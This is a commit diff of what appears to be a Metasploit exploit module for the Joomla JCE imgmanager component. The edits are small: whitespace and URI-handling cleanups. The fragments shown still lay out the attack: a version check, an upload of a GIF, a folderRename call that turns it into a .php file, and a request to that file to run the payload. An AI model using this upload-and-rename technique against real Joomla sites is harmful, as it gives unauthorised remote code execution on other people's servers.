@@ -33,10 +33,10 @@ def initialize(info = {})
33
33
] ,
34
34
'Payload' =>
35
35
{
36
- 'Space' => 4000 , # only to prevent error HTTP 414 (Request-URI Too Long)
37
- 'DisableNops' => true ,
38
- 'BadChars' => "#" ,
39
- 'Keys' => [ 'php' ] ,
36
+ 'Space' => 4000 , # only to prevent error HTTP 414 (Request-URI Too Long)
37
+ 'DisableNops' => true ,
38
+ 'BadChars' => "#" ,
39
+ 'Keys' => [ 'php' ] ,
40
40
'Compat' =>
41
41
{
42
42
'ConnectionType' => 'find' ,
@@ -58,7 +58,6 @@ def initialize(info = {})
58
58
59
59
def get_version
60
60
# check imgmanager version
61
- #uri = normalize_uri(target_uri.path.to_s, "images", "stories", "#{@script_name}.php")
62
61
@uri_base = normalize_uri ( target_uri . path . to_s ) + 'index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager'
63
62
uri = @uri_base
64
63
print_status ( "Checking component version to #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } " )
@@ -96,7 +95,7 @@ def upload_gif
96
95
# Generate some random strings
97
96
@script_name = rand_text_alpha_lower ( 6 )
98
97
boundary = '-' * 27 + rand_text_numeric ( 11 )
99
- uri = normalize_uri ( @uri_base ) + '&method=form'
98
+ uri = @uri_base + '&method=form'
100
99
101
100
# POST data
102
101
post_data = Rex ::MIME ::Message . new
@@ -132,7 +131,7 @@ def upload_gif
132
131
133
132
def renamed?
134
133
# Rename the file from .gif to .php
135
- uri = normalize_uri ( @uri_base ) #, '&version=1576&cid=20')
134
+ uri = @uri_base # '&version=1576&cid=20'
136
135
137
136
data = "json={\" fn\" :\" folderRename\" ,\" args\" :[\" /#{ @script_name } .gif\" ,\" #{ @script_name } .php\" ]}"
138
137
@@ -163,7 +162,7 @@ def call_payload
163
162
directory = 'images/stories/'
164
163
print_status ( "Calling payload: #{ @script_name } .php" )
165
164
uri = normalize_uri ( target_uri . path . to_s )
166
- uri << directory + @script_name + ".php"
165
+ uri << directory + @script_name + ".php"
167
166
register_files_for_cleanup ( uri )
168
167
169
168
res = send_request_cgi ( {
0 commit comments